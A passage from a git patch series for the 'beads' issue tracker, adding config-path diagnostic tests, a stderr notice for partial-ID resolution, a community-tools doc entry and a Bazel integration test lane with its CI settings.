nil { candidates.nativeErr = err } else { candidates.native = filepath.Clean(filepath.Join(nativeDir, "bd", "config.yaml")) diff --git a/internal/config/user_config_path_test.go b/internal/config/user_config_path_test.go index a10048d78..031f05032 100644 --- a/internal/config/user_config_path_test.go +++ b/internal/config/user_config_path_test.go @@ -4,9 +4,75 @@ import ( "errors" "os" "path/filepath" + "runtime" + "strings" "testing" ) +func TestUserConfigYamlPathNamesNativeEnvironmentSource(t *testing.T) { + t.Setenv("HOME", "~") + t.Setenv("USERPROFILE", "~") + t.Setenv("home", "~") + t.Setenv("APPDATA", "relative-appdata") + for _, xdg := range []string{"relative-xdg", ""} { + name := "XDG configured" + wantSource := "XDG_CONFIG_HOME" + if xdg == "" { + name, wantSource = "XDG absent", "HOME" + } + switch runtime.GOOS { + case "windows": + wantSource = "APPDATA" + case "darwin", "ios": + wantSource = "HOME" + case "plan9": + wantSource = "home" + } + t.Run(name, func(t *testing.T) { + t.Setenv("XDG_CONFIG_HOME", xdg) + path, err := UserConfigYamlPath() + if err == nil || path != "" { + t.Fatalf("unsafe roots produced path %q, err=%v", path, err) + } + wantLabel := "native user config directory (" + wantSource + ")" + if wantSource == "XDG_CONFIG_HOME" { + // Go rejects relative XDG roots before returning a directory; + // preserve its source-bearing error under the generic label. + wantLabel = "native user config directory: " + } + if !strings.Contains(err.Error(), wantLabel) || !strings.Contains(err.Error(), wantSource) { + t.Errorf("native config error %q does not identify %s", err, wantSource) + } + }) + } +} + +func TestUserConfigYamlCandidatesOwnNativeDiagnostics(t *testing.T) { + wantSource := "HOME" + if runtime.GOOS == "windows" { + wantSource = "APPDATA" + } else if runtime.GOOS == "plan9" { + wantSource = "home" + } + t.Run("validation identifies its source", func(t *testing.T) { + candidates := buildUserConfigYamlCandidates(t.TempDir(), nil, "relative-native", nil) + want := "native user config directory (" + wantSource + ")" + if candidates.nativeErr == nil || !strings.Contains(candidates.nativeErr.Error(), want) { + t.Fatalf("builder native error = %v, want label %q", candidates.nativeErr, want) + } + }) + t.Run("resolver diagnostic and identity are preserved", func(t *testing.T) { + resolverErr := errors.New("XDG_CONFIG_HOME resolver diagnostic") + candidates := buildUserConfigYamlCandidates(t.TempDir(), nil, "", resolverErr) + if !errors.Is(candidates.nativeErr, resolverErr) { + t.Fatalf("builder native error = %v, want original resolver error", candidates.nativeErr) + } + if got, want := candidates.nativeErr.Error(), "native user config directory: "+resolverErr.Error(); got != want { + t.Fatalf("builder native error = %q, want %q", got, want) + } + }) +} + func TestSelectUserConfigYamlPathPrecedence(t *testing.T) { t.Run("existing documented path wins", func(t *testing.T) { home, native := userConfigTestRoots(t) diff --git a/scripts/ci/test-user-config-diagnostic.sh b/scripts/ci/test-user-config-diagnostic.sh new file mode 100755 index 000000000..4f7678afd --- /dev/null +++ b/scripts/ci/test-user-config-diagnostic.sh @@ -0,0 +1,48 @@ +#!/usr/bin/env bash +# Exercise the native config source label, including both XDG states. +# Compatible with macOS Bash 3.2; run with linux, darwin, or windows. +set -euo pipefail + +[[ $# -eq 1 ]] || { echo 'Expected one native Go OS' >&2; exit 1; } +expected_os="$1" +case "$(uname -s)" in + Linux) actual_os=linux ;; + Darwin) actual_os=darwin ;; + MINGW*|MSYS*) actual_os=windows ;; + *) echo 'Unsupported native Bash host' >&2; exit 1 ;; +esac +[[ "$expected_os" = "$actual_os" ]] || { + echo "Expected $expected_os, running on $actual_os" >&2; exit 1; +} +repo_root="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +cd "$repo_root" +# shellcheck source=../../.buildflags +source "$repo_root/.buildflags" +export CGO_ENABLED=0 +go_executable="$(type -P go)" +[[ "$go_executable" = /* && -x "$go_executable" ]] || { + echo 'Go must resolve to an absolute application' >&2; exit 1; +} +host_info="$("$go_executable" env GOHOSTOS GOOS)" +[[ "$host_info" = "$expected_os"$'\n'"$expected_os" ]] || { + echo "Expected native $expected_os Go host and target" >&2; exit 1; +} +parent=TestUserConfigYamlPathNamesNativeEnvironmentSource +expected=("$parent" "$parent/XDG_configured" "$parent/XDG_absent") +log="$(mktemp)" +trap 'rm -f "$log"' EXIT +status=0 +"$go_executable" test -tags "$BEADS_BUILD_TAGS" -v -count=1 -timeout 3m \ + -run "^$parent$" ./internal/config >"$log" 2>&1 || status=$? +cat "$log" +[[ $status -eq 0 ]] || exit "$status" +if grep -Eq -- '^[[:space:]]*--- (FAIL|SKIP):' "$log"; then + echo 'Native config diagnostic tests must pass without skips' >&2 + exit 1 +fi +for name in "${expected[@]}"; do + passes="$(grep -Ec -- "^[[:space:]]*--- PASS: $name( |$)" "$log" || true)" + [[ "$passes" = 1 ]] || { + echo "Expected exactly one PASS for $name, got $passes" >&2; exit 1; + } +done diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index d38c00072..f3196fb82 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -122,6 +122,36 @@ func TestPRComplexityReportIsAdvisoryAndBestEffort(t *testing.T) { } } +func TestPRWorkflowExercisesNativeUserConfigDiagnostics(t *testing.T) { + workflow := readCIWorkflow(t, "pr.yml") + job := workflow.job(t, "pr-preflight-platforms") + // The benchmark-environment test owns the shared job and matrix shape. + wantHosts := map[string]string{"ubuntu-latest": "linux", "macos-latest": "darwin", "windows-latest": "windows"} + gotHosts := make(map[string][]string) + for _, tuple := range job.Strategy.Matrix.Include { + gotHosts[tuple.OS] = append(gotHosts[tuple.OS], tuple.ExpectedGOOS) + } + for host, want := range wantHosts { + if got := gotHosts[host]; len(got) != 1 || got[0] != want { + t.Fatalf("native host %s = %v, want exactly one %s", host, got, want) + } + } + step := job.step(t, "Check native user config diagnostics") + if step.If != "" || step.Shell != "bash" || step.Env["CGO_ENABLED"] != "0" || + (step.ContinueOnError != nil && step.ContinueOnError != false) { + t.Fatalf("native diagnostic step is conditional, optional, or uses the wrong host: %+v", step) + } + assertStepRunsExactly(t, job, step.Name, "bash scripts/ci/test-user-config-diagnostic.sh '${{ matrix.expected_goos }}'") + assertStepsBefore(t, job, []string{"Set up Go", "Restore Go module cache"}, []string{step.Name}) + gate := workflow.job(t, "ci-gate") + gateEnv := gate.step(t, "Evaluate CI gate").Env + if !contains(gate.Needs, "pr-preflight-platforms") || + gateEnv["PR_PREFLIGHT_PLATFORMS"] != "${{ needs.pr-preflight-platforms.result }}" || + !contains(strings.Fields(gateEnv["CI_GATE_REQUIRED"]), "PR_PREFLIGHT_PLATFORMS") { + t.Fatal("native diagnostic platform results must feed the required aggregate gate") + } +} + func TestPRWorkflowExercisesWindowsBenchmarkEnvScrubbing(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "pr-preflight-platforms") From 4c29640f760dd33410e66b42f77fdab2daeb5687 Mon Sep 17 00:00:00 2001 From: Robin Carswell Date: Mon, 28 Sep 2026 21:12:39 +0100 Subject: [PATCH 188/624] feat(ids): say when a partial ID resolved to something else (#6302) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(ids): say when a partial ID resolved to something else ResolvePartialID tries an exact match first and only then falls back to leading-prefix abbreviation (a3f8 -> a3f8e9). Ambiguity is already handled well: two or more candidates return ErrAmbiguousID naming all of them. But a *sole* abbreviation match was returned silently, so a caller could act on an issue it never named with nothing to indicate the substitution. The case that motivates it: a hierarchical child is a valid leading-prefix match for its own parent's ID, because "." is a legal ID character and the prefix test has no boundary. So once a parent ID is vacated — renamed away, or deleted — `bd show ` returns the child, exit 0, no signal. With exactly one descendant it is silent; with two or more the existing ambiguity error catches it. The silent case is the dangerous one. Rather than narrow resolution (e.g. requiring a boundary so a child stops abbreviating its parent), which changes semantics and risks breaking legitimate abbreviations, this announces the substitution and leaves the documented abbreviation UX alone. Emitted from the resolver, not from individual commands: ResolvePartialID has 64 non-test call sites, so a per-command notice would be applied inconsistently. One emission point covers all of them, and it sits at the only return that hands back an issue the caller did not name. stderr, never stdout, so --json payloads and piped output are byte-for-byte unchanged. Gated on --quiet and BD_NO_PARTIAL_ID_NOTICE, following the BD_NO_DEP_TYPE_WARNING precedent in cmd/bd/dep.go. Deliberately not gated on stderr being a terminal, which is where it departs from that precedent: the callers most exposed to acting on the wrong issue are scripts, hooks and agents, and those are exactly the non-TTY ones. Tests: the gate matrix (quiet, env opt-out, identical/empty resolution), the message text, and end-to-end resolution over a small in-package fake store — the existing resolver tests need a live Dolt server and self-skip without one, so they cannot pin this in CI. Verified the end-to-end test fails without the emission. Co-Authored-By: Claude * docs(changelog): link the partial-ID notice entry to its PR Matches the surrounding entries, which each cite the PR or issue they came from. No code change. Co-Authored-By: Claude * test(ids): cover the second silent return; disclose the notice's breadth Review follow-up on #6302. MAJOR — CHANGELOG understated the scope. The notice fires on every leading-prefix abbreviation, not only the vacated-parent shape, so the ordinary documented a3f8 -> bd-a3f8e9 path emits a line too, once per resolved argument. The entry now says so, and says why the breadth is deliberate: a .-boundary rule would fix parent/child and leave bd-x.1 -> bd-x.11 just as silent. MINOR — an emission planted at the in-loop exact-hash return survived the suite. The suggested repro (prefix-less a3f8e9 -> bd-a3f8e9) does not reach that return: resolution has TWO fast paths, one on the raw input and one on the prefix-normalized input, and the normalized one catches that case first. The in-loop return is reached only CROSS-PREFIX, where the issue's real prefix is an allowed one other than the configured default, so both fast paths miss and the search loop matches on hash alone. TestResolvePartialIDSilentOnCrossPrefixExactHashMatch covers it (configured prefix bd, allowed hq, store holds hq-a3f8e9, input a3f8e9) and was verified to fail with that mutant planted and pass without it. The prefix-less case is kept as its own test, since it pins the normalized fast path staying silent. TestResolvePartialIDNotifiesOnOrdinaryAbbreviation pins the breadth the CHANGELOG now discloses. Also: captureStderr restores os.Stderr from a defer so a panicking test cannot swallow later tests' output, and closes the read end. Co-Authored-By: Claude --------- Co-authored-by: Claude --- CHANGELOG.md | 16 ++ internal/utils/id_parser.go | 47 +++++- internal/utils/id_parser_unit_test.go | 218 +++++++++++++++++++++++++- 3 files changed, 279 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index aa60eaf32..724c3ed08 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -273,6 +273,22 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 server topology. Wiring an auto-backup hook through the new routes is left to a later slice. +- **`bd` says when it resolved a partial ID instead of matching one exactly.** + ([#6302](https://github.com/gastownhall/beads/pull/6302)) ID resolution tries an exact match first and only then falls back to + leading-prefix abbreviation (`a3f8` -> `a3f8e9`). Ambiguity was already a hard + error naming every candidate, but a *sole* abbreviation match was returned + silently, so a caller could act on an issue it had not named without any + signal. bd now writes a one-line note to stderr identifying both the input and + what it resolved to. The case that motivates it: a hierarchical child is a + valid leading-prefix match for its own parent's ID, so after a parent is + renamed or deleted the vacated ID quietly resolves to the child. Note this + covers **every** leading-prefix abbreviation, not only that shape, so the + ordinary documented `a3f8` -> `bd-a3f8e9` path now emits a line too, once per + resolved argument. That breadth is deliberate: a `.`-boundary rule would fix + parent/child but leave `bd-x.1` -> `bd-x.11` just as silent. stdout and + `--json` are unchanged; silence it with `--quiet` or + `BD_NO_PARTIAL_ID_NOTICE=1`. + - **`bd count` supports repeatable `--metadata-field key=value` filters** ([#6023](https://github.com/gastownhall/beads/issues/6023)), so callers can count the same metadata-scoped set `bd list` returns without fetching every diff --git a/internal/utils/id_parser.go b/internal/utils/id_parser.go index 9f3d38f78..2f19cac48 100644 --- a/internal/utils/id_parser.go +++ b/internal/utils/id_parser.go @@ -5,9 +5,11 @@ import ( "context" "errors" "fmt" + "os" "sort" "strings" + "github.com/steveyegge/beads/internal/debug" "github.com/steveyegge/beads/internal/types" ) @@ -224,7 +226,50 @@ func ResolvePartialID(ctx context.Context, store PartialIDResolverStore, input s return "", fmt.Errorf("%w: %q matches %d issues: %v\nUse more characters to disambiguate", ErrAmbiguousID, input, len(matches), matches) } - return matches[0], nil + // Sole leading-prefix match. Every other return from this function is an + // exact match (or a prefix-normalized exact match), so this is the one path + // that hands back an issue the caller did not name. + resolved := matches[0] + if shouldNotifyPartialResolution(input, resolved, debug.IsQuiet(), os.Getenv("BD_NO_PARTIAL_ID_NOTICE")) { + emitPartialResolutionNotice(input, resolved) + } + return resolved, nil +} + +// shouldNotifyPartialResolution is the testable predicate behind the +// partial-resolution notice. It takes the quiet flag and the suppression env +// value as parameters so tests can cover every combination, the same shape as +// shouldWarnImplicitBlocksDefault in cmd/bd/dep.go. +// +// Deliberately NOT gated on stderr being a terminal, which is where it departs +// from that precedent. The implicit-blocks warning tells an interactive +// operator about a default they chose; this one tells a caller that the issue +// it is about to act on is not the issue it named, and the callers most exposed +// to that — scripts, hooks and agents — are exactly the non-TTY ones. Gating on +// a TTY would silence it precisely where it is most needed. +func shouldNotifyPartialResolution(input, resolved string, quiet bool, noNotifyEnv string) bool { + if resolved == "" || resolved == input { + return false + } + // --quiet is documented as "Suppress non-essential output (errors only)", + // matching how the other non-error stderr notices behave. + if quiet { + return false + } + // Explicit opt-out, following the BD_NO_DEP_TYPE_WARNING precedent. + if noNotifyEnv != "" { + return false + } + return true +} + +// emitPartialResolutionNotice writes the notice. Split from the gate so the +// message text can be asserted under a captured stderr. +// +// stderr, never stdout: --json payloads and piped stdout stay byte-for-byte +// unchanged, so this cannot break a parsing caller. +func emitPartialResolutionNotice(input, resolved string) { + fmt.Fprintf(os.Stderr, "note: %q is not an exact issue ID; resolved to %s (silence with --quiet or BD_NO_PARTIAL_ID_NOTICE=1)\n", input, resolved) //nolint:gosec // G705: stderr, not a browser context } func partialIDSearchPart(hashPart string) (string, bool) { diff --git a/internal/utils/id_parser_unit_test.go b/internal/utils/id_parser_unit_test.go index 17a503c0d..8d251361f 100644 --- a/internal/utils/id_parser_unit_test.go +++ b/internal/utils/id_parser_unit_test.go @@ -1,6 +1,14 @@ package utils -import "testing" +import ( + "context" + "io" + "os" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" +) func TestPartialIDSearchPartUsesLastHyphenSuffix(t *testing.T) { got, ok := partialIDSearchPart("hacker-news-ko4") @@ -36,3 +44,211 @@ func TestPartialIDSearchPartRejectsInvalidSearchText(t *testing.T) { } } } + +// --- partial-resolution notice ------------------------------------------------- + +func TestShouldNotifyPartialResolution(t *testing.T) { + tests := []struct { + name string + input string + resolved string + quiet bool + noNotify string + wantNotify bool + }{ + {"non-exact match notifies", "bd-x.11", "bd-x.11.1", false, "", true}, + {"identical resolution is silent", "bd-x.11", "bd-x.11", false, "", false}, + {"empty resolution is silent", "bd-x.11", "", false, "", false}, + {"quiet suppresses", "bd-x.11", "bd-x.11.1", true, "", false}, + {"env opt-out suppresses", "bd-x.11", "bd-x.11.1", false, "1", false}, + {"quiet and env together suppress", "bd-x.11", "bd-x.11.1", true, "1", false}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := shouldNotifyPartialResolution(tt.input, tt.resolved, tt.quiet, tt.noNotify) + if got != tt.wantNotify { + t.Fatalf("shouldNotifyPartialResolution(%q, %q, quiet=%v, env=%q) = %v, want %v", + tt.input, tt.resolved, tt.quiet, tt.noNotify, got, tt.wantNotify) + } + }) + } +} + +func TestEmitPartialResolutionNoticeNamesBothIDs(t *testing.T) { + out := captureStderr(t, func() { + emitPartialResolutionNotice("bd-x.11", "bd-x.11.1") + }) + for _, want := range []string{"bd-x.11", "bd-x.11.1", "not an exact issue ID", "BD_NO_PARTIAL_ID_NOTICE"} { + if !strings.Contains(out, want) { + t.Fatalf("notice %q does not contain %q", out, want) + } + } +} + +// fakeResolverStore is a minimal PartialIDResolverStore over an in-memory ID +// list. It avoids the live-Dolt dependency in id_parser_test.go, which skips +// when no test server is running and so cannot pin this behaviour in CI. +type fakeResolverStore struct { + ids []string + prefix string + allowed string // allowed_prefixes config, for cross-prefix cases +} + +func (f *fakeResolverStore) SearchIssues(_ context.Context, _ string, filter types.IssueFilter) ([]*types.Issue, error) { + var out []*types.Issue + for _, want := range filter.IDs { + for _, id := range f.ids { + if id == want { + out = append(out, &types.Issue{ID: id}) + } + } + } + return out, nil +} + +// SearchIssueIDs mimics the storage layer's `id LIKE %query%` filtering. +func (f *fakeResolverStore) SearchIssueIDs(_ context.Context, query string, _ types.IssueFilter) ([]string, error) { + var out []string + for _, id := range f.ids { + if query == "" || strings.Contains(id, query) { + out = append(out, id) + } + } + return out, nil +} + +func (f *fakeResolverStore) GetConfig(_ context.Context, key string) (string, error) { + switch key { + case "issue_prefix": + return f.prefix, nil + case "allowed_prefixes": + return f.allowed, nil + } + return "", nil +} + +// A renamed parent leaves its child carrying the old prefix, so the vacated +// parent ID resolves to that child by leading-prefix abbreviation. The caller +// must be told it did not get the ID it named. +func TestResolvePartialIDNotifiesWhenParentIDResolvesToItsChild(t *testing.T) { + store := &fakeResolverStore{ids: []string{"bd-x.11.1"}, prefix: "bd"} + + var resolved string + var err error + out := captureStderr(t, func() { + resolved, err = ResolvePartialID(context.Background(), store, "bd-x.11") + }) + if err != nil { + t.Fatalf("ResolvePartialID returned error: %v", err) + } + if resolved != "bd-x.11.1" { + t.Fatalf("resolved = %q, want %q", resolved, "bd-x.11.1") + } + if !strings.Contains(out, "bd-x.11.1") || !strings.Contains(out, "not an exact issue ID") { + t.Fatalf("expected a partial-resolution notice on stderr, got %q", out) + } +} + +// Reaching the in-loop exact-hash return needs a CROSS-PREFIX input: both +// fast paths (raw input, then prefix-normalized input) miss, because the +// issue's real prefix is an allowed one that is not the configured default, so +// resolution falls through to the search loop and matches on hash alone. That +// return is a second silent exit, and an emission planted there survives any +// test that only exercises the fast paths. +func TestResolvePartialIDSilentOnCrossPrefixExactHashMatch(t *testing.T) { + store := &fakeResolverStore{ids: []string{"hq-a3f8e9"}, prefix: "bd", allowed: "hq"} + + var resolved string + var err error + out := captureStderr(t, func() { + resolved, err = ResolvePartialID(context.Background(), store, "a3f8e9") + }) + if err != nil { + t.Fatalf("ResolvePartialID returned error: %v", err) + } + if resolved != "hq-a3f8e9" { + t.Fatalf("resolved = %q, want %q", resolved, "hq-a3f8e9") + } + if out != "" { + t.Fatalf("expected no notice for an exact hash match, got %q", out) + } +} + +// A prefix-less exact input is still silent, via the normalized fast path. +func TestResolvePartialIDSilentOnPrefixlessExactMatch(t *testing.T) { + store := &fakeResolverStore{ids: []string{"bd-a3f8e9"}, prefix: "bd"} + + var resolved string + var err error + out := captureStderr(t, func() { + resolved, err = ResolvePartialID(context.Background(), store, "a3f8e9") + }) + if err != nil { + t.Fatalf("ResolvePartialID returned error: %v", err) + } + if resolved != "bd-a3f8e9" { + t.Fatalf("resolved = %q, want %q", resolved, "bd-a3f8e9") + } + if out != "" { + t.Fatalf("expected no notice for an exact match, got %q", out) + } +} + +// The documented abbreviation path notifies too — this is not limited to the +// parent/child shape, and the CHANGELOG says so. +func TestResolvePartialIDNotifiesOnOrdinaryAbbreviation(t *testing.T) { + store := &fakeResolverStore{ids: []string{"bd-a3f8e9"}, prefix: "bd"} + + out := captureStderr(t, func() { + if _, err := ResolvePartialID(context.Background(), store, "a3f8"); err != nil { + t.Errorf("ResolvePartialID returned error: %v", err) + } + }) + if !strings.Contains(out, "bd-a3f8e9") { + t.Fatalf("expected a notice naming the resolved ID, got %q", out) + } +} + +func TestResolvePartialIDSilentOnExactMatch(t *testing.T) { + store := &fakeResolverStore{ids: []string{"bd-x.11", "bd-x.11.1"}, prefix: "bd"} + + var resolved string + var err error + out := captureStderr(t, func() { + resolved, err = ResolvePartialID(context.Background(), store, "bd-x.11") + }) + if err != nil { + t.Fatalf("ResolvePartialID returned error: %v", err) + } + if resolved != "bd-x.11" { + t.Fatalf("resolved = %q, want %q", resolved, "bd-x.11") + } + if out != "" { + t.Fatalf("expected no notice for an exact match, got %q", out) + } +} + +func captureStderr(t *testing.T, fn func()) string { + t.Helper() + orig := os.Stderr + r, w, err := os.Pipe() + if err != nil { + t.Fatalf("os.Pipe: %v", err) + } + // Restore even if fn panics, so one failure cannot swallow every later + // test's stderr. Both pipe ends are closed before returning. + defer func() { + os.Stderr = orig + _ = r.Close() + }() + os.Stderr = w + done := make(chan string, 1) + go func() { + var sb strings.Builder + _, _ = io.Copy(&sb, r) + done <- sb.String() + }() + fn() + _ = w.Close() + return <-done +} From b42e6916f07cc28e01fead2dbb18520d6bceb780 Mon Sep 17 00:00:00 2001 From: Juan Reyero Date: Mon, 28 Sep 2026 13:34:09 -0700 Subject: [PATCH 189/624] community-tools: add the aweb mail delegate for bd mail (#6300) An implementation of the mail.delegate seam that gives any beads repo a working bd mail. aweb is an open-source communication layer for agents: durable mail and chat, wake-up events, local (team) or global (cross-organization, federated) identities, signed and verified senders; self-hostable or hosted. Guide and recording: https://aweb.ai/docs/beads-mail/ Co-authored-by: Juan Reyero --- docs/community-tools.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/docs/community-tools.md b/docs/community-tools.md index 271411770..6de64538d 100644 --- a/docs/community-tools.md +++ b/docs/community-tools.md @@ -85,6 +85,10 @@ Install with `uv tool install git+https://github.com/jklenk/thread`. Built by [@ - **[LoopTroop](https://github.com/looptroop-ai/LoopTroop)** - Local AI coding orchestrator for automated task planning, execution, and feedback loops. Uses a Beads-inspired methodology with LLM Council consensus and worktree isolation. Built by [@looptroop-ai](https://github.com/looptroop-ai). (Node.js/TypeScript) +## Mail Delegates + +- **[aweb beads-mail](https://aweb.ai/docs/beads-mail/)** - Gives `bd mail` a mail provider in any beads repo: `npm i -g @awebai/aw`, `aw init`, `bd config set mail.delegate "aw beads-mail"`. [aweb](https://github.com/awebai/aweb) is an open-source communication layer for AI agents: each agent gets a stable identity and address, mail and chat are stored durably on a server so recipients can be offline, and a wake-up event tells the recipient's runtime (Claude Code, Pi, Codex, or any process reading the event stream) that work is waiting. Identities are either local, routable only inside one team, or global, addressable as `domain/name` across organizations and across independently run servers, which federate with each other. Messages are signed by the sender's own key and verified against a public registry, so `From:` is an identity rather than a caller-asserted name. MIT; run the whole stack yourself with Docker, or use the hosted service at app.aweb.ai. Built by [@juanre](https://github.com/juanre). (Go/Python) + ## Coordination Servers - **[BeadHub](https://github.com/beadhub/beadhub)** - Open-source coordination server for AI agent teams running beads. The `bdh` CLI is a transparent wrapper over `bd` that adds work claiming, file reservation, presence awareness, and inter-agent messaging (async mail and sync chat). Includes a web dashboard. Free hosted at beadhub.ai for open-source projects. Built by [@juanre](https://github.com/juanre). (Python/TypeScript) From 6daa06244b4519c10ef0bd28136cd26affd08dbc Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 28 Sep 2026 14:11:34 -0700 Subject: [PATCH 190/624] build(bazel): integration-tag lane (--config=integration) matching main.yml (#6916) * fix(test): keep TestDoltServer_StartStop_UnixSocket's socket path short t.TempDir() nests the test's name, which alone pushes the socket path past the 104-byte sun_path guard under any TMPDIR longer than /tmp: the Bazel test wrapper's per-process TMPDIR (114 bytes) and macOS's /var/folders/... both silently skipped the test that main.yml's integration job runs. Put the socket in a short os.MkdirTemp directory instead. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(testutil): let SubprocessRunner build with a declared go command SubprocessRunner.Build ran `go` from PATH. Under Bazel there is no Go toolchain on PATH, so //internal/testutil/integration's TestBuildErrorIsMaskedByChmod failed there. BEADS_TEST_GO_BINARY, resolved like any other runfile, now names the go command; unset, it is still `go`. Co-Authored-By: Claude Opus 5.5 (1M context) * feat(bazel): integration-tag lane, --config=integration main.yml's "Main Linux integration packages (N/6)" and "cmd/bd (N/8)" jobs (and nightly's Full Test Suite) run every package with -race -tags=integration,gms_pure_go, no -short and BEADS_TEST_SKIP=dolt. Bazel never built the 55 `//go:build integration` files: gazelle drops a file whose constraint names a tag it does not know. - Root `gazelle:build_tags gms_pure_go,integration`: gazelle now lists the integration files in srcs and their imports in deps, and generates //internal/testutil/integration (integration files only). rules_go filters those files out of every other build, so --config=ci runs what it ran. - --config=integration sets the tag for the whole build, like `go test -tags`, plus the jobs' race, BEADS_TEST_SKIP=dolt, -test.parallel=4 and a 1200s/19m timeout pair (rbe-west's action limit; the jobs pass 30m). The same variants as PR core stay out (requires-docker, embedded, manual), so `bazel test //... --config=integration` runs the union of the 14 shards. A per-target gotags variant would not save the compile (gotags transitions the whole dep graph) and would need a second, duplicated target per package plus a tag to drop the plain one from this lane. - //internal/testutil/integration:integration_test gets the pinned SDK's go for SubprocessRunner's `go test -c`. - TestBazelIntegrationLaneMatchesMainWorkflow pins test:integration to main.yml's tags/race/BEADS_TEST_SKIP and gazelle's build_tags to a superset of the tags; bazel.yml's `make bazel-sync` diff already fails when a file gains the integration tag without a BUILD sync. Co-Authored-By: Claude Opus 5.5 (1M context) * build(bazel): sync scripts BUILD for upgrade_smoke_loop_test.go make bazel-sync on current main adds the test file #6398 added. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(bazel): derive the integration lane's tag exclusions from PR core's After main added the dolt-server tag, test:integration's filter still selected those targets, and 5 of them fail under BEADS_TEST_SKIP=dolt. The filter now excludes dolt-server, and the policy test no longer pins one string: bazelPRCoreExcludedTags (kept equal to the taxonomy entries that say "excluded from --config=prcore/ci") is the list both lanes check, the integration lane minus the tags it runs. Every --test_tag_filters in the lane or a config expanding it must exclude them, and no -test.short, -test.skip, -test.run or --test_filter may reach it. New tag integration-only for //internal/testutil/fixtures:fixtures_test and //internal/testutil/integration:integration_test, whose tests are all `//go:build integration`: --config=prcore/ci excludes them instead of running two empty targets; --config=integration runs them. The .bazelrc notes that ci and integration share bazel-testlogs. Co-Authored-By: Claude Opus 5.5 (1M context) * docs(bazel): note shared testlogs and dolt_test's subprocess build bazel.yml's equivalence step reads bazel-testlogs, which --config=integration shares with --config=ci, so a job running both lanes must check each right after its own run. //internal/storage/dolt:dolt_test's SubprocessRunner tests need a real `go test -c` with a module cache; they stay skipped under the lane's BEADS_TEST_SKIP=dolt, so the target gets no go SDK data. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 47 +++- .github/workflows/bazel.yml | 4 + BUILD.bazel | 6 +- cmd/bd/BUILD.bazel | 19 ++ internal/beads/BUILD.bazel | 10 + internal/compact/BUILD.bazel | 3 + internal/doltserver/BUILD.bazel | 98 +++++++ .../storage/dbproxy/server/doltserver_test.go | 13 +- internal/storage/dolt/BUILD.bazel | 81 ++++++ internal/testutil/fixtures/BUILD.bazel | 17 +- internal/testutil/integration/BUILD.bazel | 81 ++++++ internal/testutil/integration/harness.go | 27 +- scripts/BUILD.bazel | 3 + scripts/bazel_policy_test.go | 248 ++++++++++++++++-- 14 files changed, 632 insertions(+), 25 deletions(-) create mode 100644 internal/testutil/integration/BUILD.bazel diff --git a/.bazelrc b/.bazelrc index 6a1932516..0e5936332 100644 --- a/.bazelrc +++ b/.bazelrc @@ -34,7 +34,10 @@ test:prcore --test_env=BEADS_TEST_SKIP=dolt # As in pr.yml's PR Core step: a root or non-POSIX executor fails # TestAddExcludePatternsRefusesReadErrors instead of skipping it. test:prcore --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1 -test:prcore --test_tag_filters=-requires-docker,-dolt-server,-embedded,-manual +# Every tag that belongs to another lane (scripts/bazel_policy_test.go +# bazelPRCoreExcludedTags). integration-only targets run zero tests outside +# --config=integration. +test:prcore --test_tag_filters=-requires-docker,-dolt-server,-embedded,-manual,-integration-only test:ci --config=prcore test:ci --keep_going --test_summary=terse @@ -120,6 +123,48 @@ test:doltserver --test_arg=-test.parallel=4 test:doltserver --local_test_jobs=4 test:doltserver --remote_download_regex=.*/test\.(log|xml)$ +# Integration lane: main.yml's "Main Linux integration packages (N/6)" and +# "Main Linux integration cmd/bd (N/8)" jobs (and nightly.yml's Full Test +# Suite, which runs the same `go test` over ./... in one job): every package +# built with -tags=integration,gms_pure_go, race, no -short, no -skip, +# BEADS_TEST_SKIP=dolt. The tag is set for the whole build, as `go test -tags` +# does, not per target: gazelle generates srcs/deps with integration files +# included (root BUILD.bazel `gazelle:build_tags`), rules_go drops them from +# every other configuration, and //internal/testutil/integration (integration +# files only) compiles to its real contents only here. A per-target `gotags` +# would not save the compile either: it transitions the whole dep graph. +build:integration --@rules_go//go/config:tags=gms_pure_go,integration +test:integration --@rules_go//go/config:race +test:integration --test_env=BEADS_TEST_SKIP=dolt +# The variants the PR-core lane leaves out stay out, except integration-only +# (targets with tests only under the tag): the jobs' BEADS_TEST_SKIP=dolt +# keeps every container- or server-backed test skipped, which is what the +# untagged base targets already do. scripts/bazel_policy_test.go derives the +# required exclusions from the PR-core list, so a new lane tag lands here too. +test:integration --test_tag_filters=-requires-docker,-dolt-server,-embedded,-manual +test:integration --build_tests_only +test:integration --keep_going +test:integration --test_summary=terse +# The jobs pass no -p/-parallel: GOMAXPROCS on a 4-vCPU ubuntu-latest runner. +test:integration --test_arg=-test.parallel=4 +# The jobs give each package binary -timeout=30m. rbe-west rejects an action +# timeout over 1200s, so every size gets 1200s, and Go's own -test.timeout (19m, +# after the 1200s rules_go derives from TEST_TIMEOUT: the last flag wins) fires +# first and dumps every goroutine to test.log, which Bazel's kill does not. +test:integration --test_timeout=1200 +test:integration --test_arg=-test.timeout=19m +# The runner is not root, so TestAddExcludePatternsRefusesReadErrors runs +# there; make a root executor fail it rather than skip (as test:prcore does). +test:integration --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1 +# -test.v in test.xml, as in test:ci, for tools/bazel/equivalence.py. +test:integration --test_env=GO_TEST_WRAP_TESTV=1 +# ci and integration build into the same output directory (the tags flag +# does not change it), so they share bazel-testlogs: a lane's test.xml is +# overwritten by the other lane's next run of the same target. Run +# equivalence.py / check_testcases.py right after each lane's own +# 